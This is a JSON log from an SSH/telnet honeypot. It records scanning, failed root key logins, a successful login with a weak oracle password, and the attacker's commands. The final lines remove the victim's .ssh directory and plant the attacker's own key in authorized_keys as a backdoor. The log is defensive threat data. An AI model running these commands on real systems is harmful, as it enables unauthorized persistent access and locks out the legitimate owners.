{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:d3:39:8e:e3:56:36:9e:d7:f6:2e:a8:e3:59:eb:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCJFJv7Mw45bXkr+QGYyeufeDpNZlTWxAGjMqBDzR4qY62M0oEqIfBCvuwwVY0r8MoRGHnn4eOHGilTAqGmpo8jj/DpOB2npMOckHvGWsgCcel4dQkZl/5TBYjBnHASGkppRiEFRNjYnza1+siuk9ThPnjT4lvBlzLRdc2RsiSkMMH2AsEdO7r5DTfT+7U1H9q99+5up0dsaiUTKptjeoz3WtQB2H54qkFlSX+BSXmkAPbeSsIU949tJirdUljXOQBmA3Yigo8PvnIZCluTJkji0aeop+v2YSfrCWbo8c3PGYjHJkv0ZMF2+6fTWTgOuxrGiQUu+WogAiInZo2v51D2tT0F8yO/4hFgq0mLx9XZ0v7L4lTNKTRk/CJDqDq3VRYDrsrepwVVrMZlbg7s/rWo1BPcu8mHtDZyQxBNLlGIFEeR0/n1YXoz7oSKp/VueN2BUTDWaDjup+1aGJyUkUM5vAzTQ6bdDQTFXU8Mk8zDT5ityuOqnagaw8YD6bgxHzE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.967553Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:29.053330Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00290489196777,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:32.385545Z","src_ip":"212.55.149.117","session":"caa3e1e57890","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":50012,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de17e9a5e9e","protocol":"ssh","message":"New connection: 176.65.132.190:50012 (10.17.0.5:22) [session: 3de17e9a5e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:37.537270Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:37.542742Z","src_ip":"176.65.132.190","session":"3de17e9a5e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.223.150","src_port":34368,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5ba0696706c","protocol":"ssh","message":"New connection: 179.61.223.150:34368 (10.17.0.5:22) [session: c5ba0696706c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:40.473793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:40.478803Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:40.555593Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:ac:8d:15:06:13:12:5b:2e:67:bd:9e:90:ba:b4:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0k4BULYBxw5u6Q4Fii9LXvfcrkK0M/eneW5aEJRqpFN5jYPMriAmWK5+Y6AUIecokezqKSrRarI0F/kOasgvZsTjKT063OFTdRN2XEFkcRAtE+wzHCH0408JxG2thdSRMxeE3ar6dpeZfORI1tq+3tXYT2XkVdgAGBtN+qSvB6xk1BsXaibJeUjCeX2nWWFIZ5WZm4jj2hophi8fNKZ4cgKR3OyRwF+Vx+lC66g2LwJkOd2wMm1AkOaMS1Hk6Oxcw20Ot0qji0g+tNri/0kInQEGCvhMGsOyhOMrwHY4V9ahesuibNqTgytojamizGj3fvDMc1qN297d0FInqOo1lqnYuzdCr1tzWvleq1kvSwBtSeerMwg8MLSD7asz1l0JPBhH6qmOxra5AsB0/p6TaC10zgwpf20nkKLTsyGYB5MohwZKUhT8SkT9hoGl+Y1G3+XhjWsIZWyA77jo62Scgn8t2ZMAjJxABCzMEXboTVGlz235MdGAXD8bIsIF1NY+5ontVqxV5lNMF9nEESgP8v7YJdZeuRT1ZJPG7l5ntDR/cuyrC4RnJ91n/y+bWGmH8f9DWfOqi2CwKloi1jRT7tUGzK802prMIGKPFUPKjGE+gpOmFaelfF/Ig3FmyFVQCLpUFEkrSRA7vWmDFTm3xJB4VFrjge9F0zS4g9/wpLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:ac:8d:15:06:13:12:5b:2e:67:bd:9e:90:ba:b4:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:40.897926Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:ac:8d:15:06:13:12:5b:2e:67:bd:9e:90:ba:b4:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0k4BULYBxw5u6Q4Fii9LXvfcrkK0M/eneW5aEJRqpFN5jYPMriAmWK5+Y6AUIecokezqKSrRarI0F/kOasgvZsTjKT063OFTdRN2XEFkcRAtE+wzHCH0408JxG2thdSRMxeE3ar6dpeZfORI1tq+3tXYT2XkVdgAGBtN+qSvB6xk1BsXaibJeUjCeX2nWWFIZ5WZm4jj2hophi8fNKZ4cgKR3OyRwF+Vx+lC66g2LwJkOd2wMm1AkOaMS1Hk6Oxcw20Ot0qji0g+tNri/0kInQEGCvhMGsOyhOMrwHY4V9ahesuibNqTgytojamizGj3fvDMc1qN297d0FInqOo1lqnYuzdCr1tzWvleq1kvSwBtSeerMwg8MLSD7asz1l0JPBhH6qmOxra5AsB0/p6TaC10zgwpf20nkKLTsyGYB5MohwZKUhT8SkT9hoGl+Y1G3+XhjWsIZWyA77jo62Scgn8t2ZMAjJxABCzMEXboTVGlz235MdGAXD8bIsIF1NY+5ontVqxV5lNMF9nEESgP8v7YJdZeuRT1ZJPG7l5ntDR/cuyrC4RnJ91n/y+bWGmH8f9DWfOqi2CwKloi1jRT7tUGzK802prMIGKPFUPKjGE+gpOmFaelfF/Ig3FmyFVQCLpUFEkrSRA7vWmDFTm3xJB4VFrjge9F0zS4g9/wpLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:40.901585Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:1f:f3:e3:0d:0a:7a:36:31:0c:88:b8:84:5a:8d:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6K7mqwUyoKr9NLcvSBXnvg0i5rHebkteoy65zWnhhnLR4Vt5yvJQYsy3cXERNnfAk0jOy/t90b3Hd7WWuRg4PS+rUhMcrOppNEItQ4tKHoIy2dE/twno1QUGkXRBC7TnjFN6KAx16/jz6KRQSH21oq4YG0RrXgQqyqA+ybUnmlHu4Y6vL6Yds8N+6DcFN4IBjqjbn4yDYRc/0zJNizX6A/PXdQ65krkWBUHA5/gume30y6cMUrHoX969PNx5H0ID+aoc8TV+DGGIwpc8rJAsn5pWX9PvrmavVMNFosEe4Ot5KQuZ7rjTfvHQc7N+RjrBv9XWyTmEm2qqBZyu1IvG1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:1f:f3:e3:0d:0a:7a:36:31:0c:88:b8:84:5a:8d:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:40.975348Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:1f:f3:e3:0d:0a:7a:36:31:0c:88:b8:84:5a:8d:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6K7mqwUyoKr9NLcvSBXnvg0i5rHebkteoy65zWnhhnLR4Vt5yvJQYsy3cXERNnfAk0jOy/t90b3Hd7WWuRg4PS+rUhMcrOppNEItQ4tKHoIy2dE/twno1QUGkXRBC7TnjFN6KAx16/jz6KRQSH21oq4YG0RrXgQqyqA+ybUnmlHu4Y6vL6Yds8N+6DcFN4IBjqjbn4yDYRc/0zJNizX6A/PXdQ65krkWBUHA5/gume30y6cMUrHoX969PNx5H0ID+aoc8TV+DGGIwpc8rJAsn5pWX9PvrmavVMNFosEe4Ot5KQuZ7rjTfvHQc7N+RjrBv9XWyTmEm2qqBZyu1IvG1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:40.979113Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:f8:72:33:49:23:37:34:f0:7c:0a:ef:99:11:75:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfvMbKIuF5Bu5SuuNguVKahy0Au/IClkSgyrSQjDFVgbZkETlCSput9LiAhKvoO+WDE4QBBmXzt6NlUShl6Z6PrrvDp4xvjP6mQG1ufeXxnokznJcB10stBgpF6qYEE9yFw5Aprf2Xx8ZJ1dii5qYEdwlTRBGfv+uR4T/R1koS+/MhX9qoE3pIVYSMCSGshGauKo1h/J4Y+107Nf2PcRR/WFPgWAWuEIEtf4B7V2oE4qGM+ynDWBtT8yLoQ52esvFtGEkp0C6yLxXkb/POJJwvBrreEJTuC1iPF+oiCHdwany18G33VD/KI8rnV6kQ58e9yKobi5QriMuGk8G7kguF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:f8:72:33:49:23:37:34:f0:7c:0a:ef:99:11:75:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:41.052828Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:f8:72:33:49:23:37:34:f0:7c:0a:ef:99:11:75:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfvMbKIuF5Bu5SuuNguVKahy0Au/IClkSgyrSQjDFVgbZkETlCSput9LiAhKvoO+WDE4QBBmXzt6NlUShl6Z6PrrvDp4xvjP6mQG1ufeXxnokznJcB10stBgpF6qYEE9yFw5Aprf2Xx8ZJ1dii5qYEdwlTRBGfv+uR4T/R1koS+/MhX9qoE3pIVYSMCSGshGauKo1h/J4Y+107Nf2PcRR/WFPgWAWuEIEtf4B7V2oE4qGM+ynDWBtT8yLoQ52esvFtGEkp0C6yLxXkb/POJJwvBrreEJTuC1iPF+oiCHdwany18G33VD/KI8rnV6kQ58e9yKobi5QriMuGk8G7kguF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:41.057315Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:4d:97:12:82:3f:23:2b:6a:61:fb:04:6a:cb:00:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfvfyva2UdFuezNpzFBe2fNXUorZIRLOwcCgA+Awqpjlb4aJWoFrSKMkbCQ1DzpCj/jPCUhCHAnc/BWhiAZsOVB0rkOAPNyxFFPm+2EgozHlcfEa9G/1oIdqc3Er78V41uhXoiG0D5bGhx/oJB9rbzvbGDQj1rhlvDB41DIDkyFKdTCJ05S8fGVS7IgBWrCMQd/U9y5kg+iy1nia956eNpv4LSvXvjhTfx1XHMdJ3WgkYNLgKelSSca0RUydjgmlR9amUBTNkesdDsQXYyuaZzWgHdJXT295V3A7sq64rkQkJLjgzQbkx/H6JIDArGK2UL7G/MzextoMQVm7gCdJUSGLeSc6R5lffmUFJDaZ6oqxnLpAsVwzjimOpjEvvbhQRNj5YnxvFaDgPYHHAmtI5ra4hqbQLe3UV96PdmJzJBMCjFLFZ2t9B/ji8R3Ykvlw75d6Qzr4VkqXyEUHQbk0z2RPJKOh8WnnmQSCOJPmnuUfIbvSsJutVzaaoSv50ZV0W5crFuMqs6gqmSa5oGWbKlHENBro4s7OZ6ESfVZVUdBOGeMwPQ5LjZCuM+sHTDdLxcvmpKxSGq1h8dGtw55u1zZpb4WdEtyKPzbxKFYy16sz3Lga5MrsF0VCGBAEHR5JN6RONMrQSJ4sn38xpg/zMIOQ7Sk0PQuV+TUaRswyQlVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:4d:97:12:82:3f:23:2b:6a:61:fb:04:6a:cb:00:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:41.135237Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:4d:97:12:82:3f:23:2b:6a:61:fb:04:6a:cb:00:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfvfyva2UdFuezNpzFBe2fNXUorZIRLOwcCgA+Awqpjlb4aJWoFrSKMkbCQ1DzpCj/jPCUhCHAnc/BWhiAZsOVB0rkOAPNyxFFPm+2EgozHlcfEa9G/1oIdqc3Er78V41uhXoiG0D5bGhx/oJB9rbzvbGDQj1rhlvDB41DIDkyFKdTCJ05S8fGVS7IgBWrCMQd/U9y5kg+iy1nia956eNpv4LSvXvjhTfx1XHMdJ3WgkYNLgKelSSca0RUydjgmlR9amUBTNkesdDsQXYyuaZzWgHdJXT295V3A7sq64rkQkJLjgzQbkx/H6JIDArGK2UL7G/MzextoMQVm7gCdJUSGLeSc6R5lffmUFJDaZ6oqxnLpAsVwzjimOpjEvvbhQRNj5YnxvFaDgPYHHAmtI5ra4hqbQLe3UV96PdmJzJBMCjFLFZ2t9B/ji8R3Ykvlw75d6Qzr4VkqXyEUHQbk0z2RPJKOh8WnnmQSCOJPmnuUfIbvSsJutVzaaoSv50ZV0W5crFuMqs6gqmSa5oGWbKlHENBro4s7OZ6ESfVZVUdBOGeMwPQ5LjZCuM+sHTDdLxcvmpKxSGq1h8dGtw55u1zZpb4WdEtyKPzbxKFYy16sz3Lga5MrsF0VCGBAEHR5JN6RONMrQSJ4sn38xpg/zMIOQ7Sk0PQuV+TUaRswyQlVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:41.138891Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:d3:39:8e:e3:56:36:9e:d7:f6:2e:a8:e3:59:eb:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCJFJv7Mw45bXkr+QGYyeufeDpNZlTWxAGjMqBDzR4qY62M0oEqIfBCvuwwVY0r8MoRGHnn4eOHGilTAqGmpo8jj/DpOB2npMOckHvGWsgCcel4dQkZl/5TBYjBnHASGkppRiEFRNjYnza1+siuk9ThPnjT4lvBlzLRdc2RsiSkMMH2AsEdO7r5DTfT+7U1H9q99+5up0dsaiUTKptjeoz3WtQB2H54qkFlSX+BSXmkAPbeSsIU949tJirdUljXOQBmA3Yigo8PvnIZCluTJkji0aeop+v2YSfrCWbo8c3PGYjHJkv0ZMF2+6fTWTgOuxrGiQUu+WogAiInZo2v51D2tT0F8yO/4hFgq0mLx9XZ0v7L4lTNKTRk/CJDqDq3VRYDrsrepwVVrMZlbg7s/rWo1BPcu8mHtDZyQxBNLlGIFEeR0/n1YXoz7oSKp/VueN2BUTDWaDjup+1aGJyUkUM5vAzTQ6bdDQTFXU8Mk8zDT5ityuOqnagaw8YD6bgxHzE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:d3:39:8e:e3:56:36:9e:d7:f6:2e:a8:e3:59:eb:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:41.212488Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:d3:39:8e:e3:56:36:9e:d7:f6:2e:a8:e3:59:eb:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCJFJv7Mw45bXkr+QGYyeufeDpNZlTWxAGjMqBDzR4qY62M0oEqIfBCvuwwVY0r8MoRGHnn4eOHGilTAqGmpo8jj/DpOB2npMOckHvGWsgCcel4dQkZl/5TBYjBnHASGkppRiEFRNjYnza1+siuk9ThPnjT4lvBlzLRdc2RsiSkMMH2AsEdO7r5DTfT+7U1H9q99+5up0dsaiUTKptjeoz3WtQB2H54qkFlSX+BSXmkAPbeSsIU949tJirdUljXOQBmA3Yigo8PvnIZCluTJkji0aeop+v2YSfrCWbo8c3PGYjHJkv0ZMF2+6fTWTgOuxrGiQUu+WogAiInZo2v51D2tT0F8yO/4hFgq0mLx9XZ0v7L4lTNKTRk/CJDqDq3VRYDrsrepwVVrMZlbg7s/rWo1BPcu8mHtDZyQxBNLlGIFEeR0/n1YXoz7oSKp/VueN2BUTDWaDjup+1aGJyUkUM5vAzTQ6bdDQTFXU8Mk8zDT5ityuOqnagaw8YD6bgxHzE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:41.216567Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:41.290303Z","src_ip":"179.61.223.150","session":"c5ba0696706c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":45696,"dst_ip":"10.17.0.5","dst_port":23,"session":"e73b63851fc6","protocol":"telnet","message":"New connection: 68.178.168.57:45696 (10.17.0.5:23) [session: e73b63851fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:51.545008Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":48862,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f13141f0a3","protocol":"ssh","message":"New connection: 78.83.249.54:48862 (159.203.135.109:22) [session: f9f13141f0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:52.666478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:52.670991Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:52.791479Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123456","message":"login attempt [oracle/oracle123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:53.298705Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:53.588078Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:53.591292Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:53.594953Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:53.717974Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:54.001442Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:54.006706Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
